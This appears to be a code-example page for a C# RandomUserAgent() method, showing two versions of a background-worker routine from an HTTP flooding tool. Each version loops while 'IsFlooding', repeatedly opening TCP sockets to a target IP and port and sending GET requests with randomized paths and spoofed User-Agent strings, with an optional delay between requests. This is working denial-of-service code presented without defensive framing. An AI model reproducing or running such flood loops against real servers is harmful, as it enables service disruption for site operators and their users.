RandomUserAgent() public static method

public static RandomUserAgent ( ) : string
return string
Ejemplo n.º 1
0
        private void bw_DoWork(object sender, DoWorkEventArgs e)
        {
            try
            {
                byte[]     buf   = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{5}Host: {3}{5}User-Agent: {2}{5}Accept: */*{5}{4}{5}{5}", Subsite, (AllowRandom ? Functions.RandomString() : null), Functions.RandomUserAgent(), Host, (AllowGzip ? "Accept-Encoding: gzip, deflate" + Environment.NewLine : null), Environment.NewLine));
                IPEndPoint RHost = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
                while (IsFlooding)
                {
                    State      = ReqState.Ready;                // SET STATE TO READY //
                    LastAction = Tick();
                    byte[] recvBuf = new byte[64];
                    Socket socket  = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                    State = ReqState.Connecting;                     // SET STATE TO CONNECTING //

                    try { socket.Connect(RHost); }
                    catch { continue; }

                    socket.Blocking = Resp;
                    State           = ReqState.Requesting;           // SET STATE TO REQUESTING //
                    socket.Send(buf, SocketFlags.None);
                    State = ReqState.Downloading; Requested++;       // SET STATE TO DOWNLOADING // REQUESTED++

                    if (Resp)
                    {
                        socket.Receive(recvBuf, 64, SocketFlags.None);
                    }

                    State = ReqState.Completed; Downloaded++;                     // SET STATE TO COMPLETED // DOWNLOADED++
                    tTimepoll.Stop();
                    tTimepoll.Start();

                    if (Delay >= 0)
                    {
                        System.Threading.Thread.Sleep(Delay + 1);
                    }
                }
            }
            catch { }
            finally { IsFlooding = false; }
        }
Ejemplo n.º 2
0
        private void bw_DoWork(object sender, DoWorkEventArgs e)
        {
            try
            {
                IPEndPoint RHost = new IPEndPoint(IPAddress.Parse(IP), Port);
                while (this.IsFlooding)
                {
                    State      = ReqState.Ready;                // SET STATE TO READY //
                    lastAction = Tick();
                    byte[] recvBuf = new byte[128];
                    using (Socket socket = new Socket(RHost.AddressFamily, SocketType.Stream, ProtocolType.Tcp))
                    {
                        socket.NoDelay = true;
                        State          = ReqState.Connecting;                // SET STATE TO CONNECTING //

                        try { socket.Connect(RHost); }
                        catch (SocketException) { goto _continue; }

                        byte[] buf = Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{5}Host: {3}{5}User-Agent: {2}{5}Accept: */*{5}{4}{5}{5}", Subsite, (AllowRandom ? Functions.RandomString() : ""), Functions.RandomUserAgent(), Host, (AllowGzip ? "Accept-Encoding: gzip, deflate" + Environment.NewLine : ""), Environment.NewLine));

                        socket.Blocking = Resp;
                        State           = ReqState.Requesting;               // SET STATE TO REQUESTING //

                        try { socket.Send(buf, SocketFlags.None); }
                        catch (SocketException) { goto _continue; }

                        State = ReqState.Downloading; Requested++;                         // SET STATE TO DOWNLOADING // REQUESTED++

                        if (Resp)
                        {
                            socket.Receive(recvBuf, recvBuf.Length, SocketFlags.None);
                        }
                    }
                    State = ReqState.Completed; Downloaded++;                     // SET STATE TO COMPLETED // DOWNLOADED++
                    tTimepoll.Stop();
                    tTimepoll.Start();
_continue:
                    if (Delay >= 0)
                    {
                        System.Threading.Thread.Sleep(Delay + 1);
                    }
                }
            }
            // Analysis disable once EmptyGeneralCatchClause
            catch { }
            finally { tTimepoll.Stop(); State = ReqState.Ready; this.IsFlooding = false; }
        }